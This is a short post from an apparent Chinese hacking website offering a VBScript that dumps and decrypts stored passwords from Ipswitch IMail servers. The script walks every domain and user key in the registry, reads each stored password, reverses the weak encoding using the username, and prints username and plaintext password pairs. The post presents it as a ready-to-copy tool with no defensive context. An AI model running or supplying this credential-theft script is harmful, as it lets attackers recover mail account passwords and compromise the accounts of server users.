华域联盟 vbs vbs imail 密码解密

vbs imail 密码解密

复制代码 代码如下:

on error resume next

const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_

strComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Ipswitch\IMail\Domains"

oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys

For Each subkey In arrSubKeys

wscript.echo "Domain: "&subkey

strKeyPath2 = strKeyPath&"\"&subkey&"\Users"

oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2

For Each subkey2 In arrSubKeys2

strKeyPath3=strKeyPath2&"\"&subkey2

strValueName = "Password"

oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue

if len(subkey2) and len(strValue) then

wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)

end if

Next

Next

function decrypt(name,pass)

while len(name)<len(pass)/2

name=name&name

wend

for i=0 to len(pass)/2-1

p=mid(pass,2*i+1,2)

p="&H"&p

n=mid(name,i+1,1)

decrypt=decrypt&chr(clng(p)-asc(n))

next

end function

本文由 华域联盟 原创撰写:华域联盟 » vbs imail 密码解密

转载请保留出处和原文链接:https://www.cnhackhy.com/15615.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部